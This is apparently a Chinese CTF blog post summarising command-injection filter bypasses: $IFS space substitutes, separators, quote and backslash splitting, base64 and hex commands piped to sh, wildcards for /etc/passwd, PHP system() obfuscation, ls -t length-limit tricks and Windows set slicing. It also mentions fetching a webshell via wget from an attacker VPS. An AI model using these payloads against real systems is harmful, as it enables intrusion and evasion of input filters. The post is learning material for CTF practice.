0%

CTF命令执行技巧总结

CTF命令执行技巧总结

对于近期CTF中命令执行的学习总结

执行函数

命令执行需要执行,贴出大佬关于代码执行和系统命令执行的讲解,不详细展开。

wh0ale博客:命令执行漏洞进阶详解)

Linux绕过姿势

空格绕过

1
2
3
4
5
6
7
8
9
$IFS
$IFS$1
${IFS}
$IFS$9
< 比如cat<a.tct:表示cat a.txt
<>
{cat,flag.php} //用逗号实现了空格功能,需要用{}括起来
%20
%09 //php环境下

管道符

1
2
3
4
5
;        //前面和后面命令都要执行,无论前面真假
| //直接执行后面的语句
|| //如果前面命令是错的那么就执行后面的语句,否则只执行前面的语句
& //前面和后面命令都要执行,无论前面真假
&& //如果前面为假,后面的命令也不执行,如果前面为真则执行两条命令

命令拼接

1
2
3
4
5
a=who
b=ami
$a$b //输出whoami
q=l; w=s; e=" -al"; $q$w$e //执行ls -al命令
a=c;b=at;c=fl;d=ag; $a$b $c$d //cat flag

通配符

1
2
3
4
5
6
7
8
9
10
//执行命令 cat flag
/???/?[a]''[t] ?''?''?''?''
/???/?[a][t] ?''?''?''?''
cat f*
cat fl[abc]g //匹配[abc]中的任何一个
cat f[a-z]ag //匹配a-z范围的任何字符
利用正则:比如要读取etc/passwd
cat /???/??????
cat /???/pass*
cat /etc$u/passwd //变量u未定义,则为空

新姿势:Linux环境变量

翻大佬博客时发现的姿势:

1
2
3
echo ${PATH}            #/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
echo ${PATH:1:9} #/usr/local
${PATH:5:1}${PATH:2:1} #拼接后是ls,执行命令

image-20210421181825782

绕过ban位(常规操作)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
wh\o\ami    //反斜线绕过
who"a"mi //双引号绕过
whoa'm'i //单引号绕过
whoam``i //反引号绕过
echo d2hvYW1p|base64 -d|sh //base64绕过,其中d2hvYW1p是whoami的base64编码
echo d2hvYW1p|base64 -d|bash //base64绕过,其中d2hvYW1p是whoami的base64编码
`echo d2hvYW1p|base64 -d` //将其base64解码,然后用反引号来执行命令
echo 77686F616D69 | xxd -r -p | bash //hex绕过,其中77686F616D69是whoami的hex编码

//$*和$@,$x(x 代表 1-9),${x}(x>=10) :比如ca${21}t a.txt表示cat a.txt
//在没有传入参数的情况下,这些特殊字符默认为空,如下:
wh$1oami //不带中括号只能用一个字符在$后面
who$@ami
whoa$*mi
whoa${66}mi //带中括号能用任意字符,但是字符内必须相同
whoa${hh}mi //不能带符号,会被解析成奇怪的东西

正则 (假设/bin/cat: test: 是一个目录)

1
2
3
/???/?[a][t] ?''?''?''?''
/???/?at ????
/???/?[a]''[t] ?''?''?''?''

$1、$2等和$@

1
2
3
4
5
6
7
8
$#   //是传给脚本的参数个数
$0 //是脚本本身的名字
$1 //是传递给该shell脚本的第一个参数
$2 //是传递给该shell脚本的第二个参数
$@ //是传给脚本的所有参数的列表
$* //是以一个单字符串显示所有向脚本传递的参数,与位置变量不同,参数可超过9个
$$ //是脚本运行的当前进程ID号
$? //是显示最后命令的退出状态,0表示没有错误,其他表示有错误

绕过ban位之cat

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
(1)more:一页一页的显示档案内容
(2)less:与 more 类似,但是比 more 更好的是,他可以[pg dn][pg up]翻页
(3)head:查看头几行
(4)tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示
(5)tail:查看尾几行
(6)nl:显示的时候,顺便输出行号
(7)od:以二进制的方式读取档案内容
(8)vi:一种编辑器,这个也可以查看
(9)vim:一种编辑器,这个也可以查看
(10)sort:可以查看
(11)uniq:可以查看
(12)file -f:报错出具体内容
grep
1、在当前目录中,查找后缀有 file 字样的文件中包含 test 字符串的文件,并打印出该字符串的行。此时,可以使用如下命令:
grep test *file
示例:grep { *??? //读flag.php

内敛执行绕过

1
2
3
4
5
6
7
8
666`whoami`666      //bash: 666root666: command not found
666`\whoami`666 //bash: 666root666: command not found
//命令执行后的结果在2个666中间

w`f1hgb`ho`f1hgb`am`f1hgb`i //反引号的作用是把括起来的字符当做命令执行
w`\f1hgb`ho`\f1hgb`am`\f1hgb`i //这个反斜线作用就是平时的那种连接,反引号的作用是把括起来的字符当做命令执行
wh$(f1hgb)oa$(f1hgb)mi //和上面的差不多,都说执行和拼接

命令执行函数绕过(以system为例)

1
2
3
4
5
6
7
8
9
10
11
system("cat /etc/passwd")
<=>
"\x73\x79\x73\x74\x65\x6d"("cat /etc/passwd");
<=>
(sy.(st).em)("cat /etc/passwd");
<=>还可以用注释方法绕过
"system/*fthgb666*/("cat /etc/passwd);"
<=>
"system/*fthgb666*/(wh./*fthgb666*/(oa)/*fthgb666*/.mi);"
<=>
"(sy./*fthgb666*/(st)/*fthgb666*/.em)/*fthgb666*/(wh./*fthgb666*/(oa)/*fthgb666*/.mi);"

简单地绕过长度限制

Linux中的>符号和>>符号

(1)通过>来创建文件

(2)通过>将命令结果存入文件中
使用>命令会将原有文件内容覆盖,如果是存入不存在的文件名,那么就会新建该文件再存入

Linux中命令换行

在Linux中,当我们执行文件中的命令的时候,我们通过在没有写完的命令后面加\,可以将一条命令写在多行
比如一条命令cat flag可以如下表示

1
2
3
4
5
root@kali:~# ca\
> t\
> fl\
> ag
this is your flag

既然可以这样那我们是不是可以在某些限制长度的情况下执行命令,将命令一条一条输入一个文本中再执行,尝试一下

1
2
3
4
5
6
7
8
9
10
11
root@kali:~# echo "ca\\">cmd
root@kali:~# echo "t\\">>cmd
root@kali:~# echo " fl\\">>cmd
root@kali:~# echo "ag">>cmd
root@kali:~# cat cmd
ca\
t\
fl\
ag
root@kali:~# sh cmd
this is your flag

用这种方法可以绕过一些长度限制读取文件内容

利用ls -t和>以及换行符绕过长度限制执行命令(文件构造绕过)

linux中,我们使用ls -t命令后,可以将文件名按照时间顺序排列出来(后创建的排在前面)

1
2
3
4
5
root@kali:~/example# touch a
root@kali:~/example# touch b
root@kali:~/example# touch c
root@kali:~/example# ls -t
c b a

我们来看看ls -t>ghtwf01有什么效果(开始不存在ghtwf01这个文件)

1
2
3
4
5
6
root@kali:~/example# ls -t>ghtwf01
root@kali:~/example# cat ghtwf01
ghtwf01
c
b
a

这条命令先执行了创建ghtwf01文件然后将ls -t的执行结果写入ghtwf01文件
我们试试用这些方法来执行命令cat flag

1
2
3
4
5
6
7
8
9
10
11
root@kali:~/example# > "ag"
root@kali:~/example# > "fl\\"
root@kali:~/example# > "t \\"
root@kali:~/example# > "ca\\"
root@kali:~/example# ls -t
'ca\' 't \' 'fl\' ag flag
root@kali:~/example# ls -t > a
root@kali:~/example# sh a
a: 1: a: not found
this is your flag
a: 6: flag: not found

读取到了flag内容为this is your flag,无论这个文件里面有不有其它内容都能执行
总而言之文件构造绕过就是如下知识:

1
2
3
linux下可以用 1>a创建文件名为a的空文件
ls -t>test则会将目录按时间排序后写进test文件中
sh命令可以从一个文件中读取命令来执行

反弹shell命令比较长就可以用这种方式去绕过长度限制
如果服务器能连外网还可以使用命令wget 网址 -O shell.php去执行我们自己vps上面的木马文件

无字母数字绕过

我学了,啥都看不懂,有什么好说的。

羽师傅博客:无字母数字绕过正则表达式总结(含上传临时文件、异或、或、取反、自增脚本)

P神博客:无字母数字webshell之提高篇

P神博客:一些不包含数字和字母的webshell

Firebasky博客:无字母数字的命令执行(ctfshow web入门 55)

Windows绕过姿势

符号与命令

1
2
3
4
5
whoami //正常执行
w"h"o"a"m"i 或"w"h"o"a"m"i"或"w"h"o"a"m"i或w"h"o"a"m"i"//正常执行
who^ami或wh""o^a^mi 或wh""o^a^mi"//正常执行
但是"wh""o^a^mi"这种在开头就有单引号的情况是不能执行的
(Whoami)或(Wh^o^am""i)或((((Wh^o^am""i)))) //正常执行 注:可以加无数个"但不能同时连续加2个^符号,因为^号是cmd中的转义符,跟在他后面的符号会被转义

管道符

1
2
3
4
|        //直接执行后面的语句
|| //如果前面命令是错的那么就执行后面的语句,否则只执行前面的语句
& //前面和后面命令都要执行,无论前面真假
&& //如果前面为假,后面的命令也不执行,如果前面为真则执行两条命令

set命令

知识点:用两个%括起来的变量,会输出变量的值

1
2
3
set a=1     //设置变量a,值为1
echo a //此时输出结果为"a"
echo %a% //此时输出结果为"1"

接下来的进阶利用就是:

1
2
3
4
set a=who
set b=ami
%a%%b% //正常执行whoami
call %a%%b% //正常执行whoami

所以,上述的符号与命令部分的所有操作,都可以通过set来实现,只需要慢慢拼接就ok

切割字符:

1
2
3
4
set a=whoami
%a:~0% //取出所有字符,所以正常执行命令
%a:~0,6% //从开始切割6个字符,刚好是whoami,所以正常执行
%a:~0,5% //切割后是whoam,不是系统命令,不能执行

注:上述可以使用减号,和python的切割效果差不多

所以,可以考虑的东西就来了:

1
2
set a=abc qwe     //先自定义
wh^o^%a:~0,1%mi //然后截断整理后就变成了:wh^o^ami,所以命令执行成功

可以简单地写出webshell

参考链接:

Bowu博客:CTF之命令执行绕过总结

NPFS博客:命令执行绕过小技巧

ghtwf01博客:命令执行漏洞利用及绕过方式总结

羽师傅博客:无字母数字绕过正则表达式总结(含上传临时文件、异或、或、取反、自增脚本)

P神博客:无字母数字webshell之提高篇

P神博客:一些不包含数字和字母的webshell

Firebasky博客:无字母数字的命令执行(ctfshow web入门 55)

还有文中直接引用的博客部分。

-------------本文结束感谢您的阅读-------------